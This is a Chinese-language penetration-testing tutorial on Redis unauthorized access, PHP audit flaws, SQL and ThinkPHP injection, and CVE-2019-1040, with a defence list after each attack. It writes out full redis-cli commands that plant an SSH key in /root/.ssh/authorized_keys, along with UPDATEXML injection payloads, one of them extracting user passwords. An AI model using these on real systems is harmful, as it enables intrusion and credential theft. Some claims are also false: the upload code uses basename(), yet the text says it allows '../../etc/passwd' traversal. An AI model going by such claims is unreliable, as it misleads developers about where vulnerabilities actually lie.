网络安全攻防实践全记录:从基础渗透到漏洞复现

一、Redis未授权访问攻击链复现

1.1 环境搭建与基础配置

在虚拟化环境中部署Redis服务是渗透测试的基础环节。推荐使用主流Linux发行版(如CentOS 8)作为测试平台,通过包管理器安装Redis服务:

  1. yum install epel-release -y
  2. yum install redis -y
  3. systemctl start redis

需特别注意关闭保护模式并绑定外网IP:

  1. # /etc/redis.conf 核心配置项
  2. protected-mode no
  3. bind 0.0.0.0

1.2 攻击路径实现

通过SSH公钥注入实现持久化访问是经典攻击手法。完整流程如下:

  1. 本地生成RSA密钥对:
    1. ssh-keygen -t rsa -b 2048
    2. (umask 066) && cat id_rsa.pub >> authorized_keys
  2. 将公钥写入Redis数据库:
    1. (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    2. cat key.txt | redis-cli -h 目标IP -x set crackit
  3. 配置Redis启动时加载恶意公钥:
    1. # 修改Redis启动脚本
    2. echo "config set dir /root/.ssh/" | redis-cli -h 目标IP
    3. echo "config set dbfilename authorized_keys" | redis-cli -h 目标IP
    4. echo "save" | redis-cli -h 目标IP

1.3 防御机制构建

建议采用三重防护体系:

  1. 网络层:通过安全组限制6379端口访问
  2. 主机层:启用防火墙规则仅允许可信IP
  3. 应用层:配置requirepass认证和rename-command保护高危指令

二、PHP代码审计实战指南

2.1 常见函数缺陷分析

in_array()函数为例,其宽松比较模式易引发类型混淆漏洞:

  1. // 缺陷代码示例
  2. $allowed = [1, 2, 3];
  3. if(in_array($_GET['id'], $allowed)) {
  4. // 执行敏感操作
  5. }

攻击者可构造id=1%00绕过验证,正确做法是启用严格模式:

  1. in_array($_GET['id'], $allowed, true)

2.2 文件上传漏洞挖掘

某文件上传功能存在路径遍历风险,核心代码如下:

  1. $uploadDir = './solutions/';
  2. $filename = basename($_FILES['file']['name']);
  3. move_uploaded_file($_FILES['file']['tmp_name'], $uploadDir.$filename);

攻击者可构造../../etc/passwd实现任意文件写入,防御方案应包含:

  1. 白名单校验文件扩展名
  2. 使用随机文件名重写
  3. 限制上传目录执行权限

三、SQL注入攻防技术演进

3.1 基础注入技巧

通过信息收集函数获取数据库元数据:

  1. SELECT version() -- MySQL版本
  2. SELECT user() -- 当前用户
  3. SELECT database() -- 当前数据库
  4. SELECT @@datadir -- 安装路径

3.2 高级注入技术

使用UPDATEXML()进行报错注入:

  1. ?id=1 AND UPDATEXML(1,CONCAT(0x7e,(SELECT user()),0x7e),1)

防御方案应采用:

  1. 预编译语句(PDO/mysqli)
  2. 最小权限原则配置数据库用户
  3. Web应用防火墙规则过滤

四、框架漏洞利用研究

4.1 ThinkPHP3.x注入案例

某版本存在WHERE条件注入漏洞,Payload构造示例:

  1. ?id[where]=1 AND 1=updatexml(1,concat(0x7e,(SELECT password FROM users),0x7e),1)

修复方案包括:

  1. 升级至最新稳定版本
  2. 过滤数组键名特殊字符
  3. 使用参数化查询

4.2 防御体系构建

建议采用分层防护策略:

  1. 输入层:统一过滤特殊字符
  2. 业务层:实施最小权限原则
  3. 数据层:启用数据库审计日志

五、域渗透高级技术复现

5.1 CVE-2019-1040利用流程

该漏洞允许域内普通用户提升至域管权限,完整攻击链如下:

  1. 构造NTLM反射请求
  2. 中继到Exchange服务器
  3. 获取高权限会话
  4. 导出域哈希值

5.2 纵深防御方案

建议实施以下防护措施:

  1. 禁用NTLM认证协议
  2. 启用SMB签名验证
  3. 部署EDR系统监控异常行为
  4. 定期审计域控制器日志

六、安全开发最佳实践

6.1 安全编码规范

  1. 所有输入必须验证
  2. 敏感操作双重认证
  3. 错误信息不暴露系统细节
  4. 定期进行依赖库更新

6.2 自动化测试方案

建议构建CI/CD流水线集成:

  1. SAST静态扫描工具
  2. DAST动态检测平台
  3. IAST交互式安全测试
  4. 容器镜像安全扫描

本文通过五个典型场景的深度复现,展示了从基础渗透到高级攻防的技术全貌。安全从业人员应建立”攻击面管理-漏洞验证-防御加固”的闭环思维,企业需构建覆盖开发、测试、运维全生命周期的安全体系。建议定期组织红蓝对抗演练,持续提升安全防护能力。